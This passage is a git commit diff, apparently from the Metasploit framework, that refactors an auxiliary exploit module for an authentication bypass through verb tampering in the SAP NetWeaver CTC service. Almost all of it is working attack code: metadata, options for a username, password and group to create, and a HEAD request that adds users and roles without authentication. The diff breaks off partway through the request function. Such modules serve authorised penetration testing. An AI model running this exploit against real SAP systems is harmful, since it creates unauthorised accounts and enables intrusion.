up to date

bug/bundler_fix
jvazquez-r7 2013-05-14 14:48:58 -05:00
parent 07b3355a17
commit 83f1418f28
1 changed files with 26 additions and 22 deletions

View File

@ -33,19 +33,22 @@ class Metasploit4 < Msf::Auxiliary
super(
'Name' => 'SAP CTC Service Verb Tampering (add user and add role)',
'Description' => %q{
This module exploits an authentication bypass vulnerability in SAP NetWeaver CTC service.
The service is vulnerable to verb tampering and allows for unauthorised user management.
SAP Note 1589525, 1624450 / DSECRG-11-041.
This module exploits an authentication bypass vulnerability in SAP NetWeaver
CTC service. The service is vulnerable to verb tampering and allows for unauthorised
user management. SAP Note 1589525, 1624450 / DSECRG-11-041.
},
'References' => [['URL','http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/']],
'References' =>
[
[ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ]
],
'Author' => ['nmonkee'],
'License' => MSF_LICENSE
)
register_options([
OptString.new('USER', [true, 'Username', nil]),
OptString.new('PASS', [true, 'Password', nil]),
OptString.new('GROUP', [true, 'Group', nil])
OptString.new('USER', [true, 'Username to create']),
OptString.new('PASS', [true, 'Password for the new user']),
OptString.new('GROUP', [true, 'Group for the new user'])
], self.class)
end
@ -58,18 +61,19 @@ class Metasploit4 < Msf::Auxiliary
def send_request(uri)
begin
print_status("[SAP] #{rhost}:#{rport} - sending request")
res = send_request_raw({
vprint_status("#{rhost}:#{rport} - Sending request to the CTC service...")
res = send_request_cgi({
'uri' => uri,
'method' => 'HEAD',
'headers' =>{
'Cookie' => 'sap-usercontext=sap-language=EN',
'Content-Type' => 'text/xml; charset=UTF-8',}
}, 45)
'ctype' => 'text/xml; charset=UTF-8',
'cookie' => 'sap-usercontext=sap-language=EN'
})
if res
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
vprint_error("#{rhost}:#{rport} - Error code: " + res.code.to_s)
vprint_error("#{rhost}:#{rport} - Error title: " + res.message.to_s)
vprint_error("#{rhost}:#{rport} - Error message: " + res.body.to_s)
else
print_good("User successfully added")
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Unable to connect")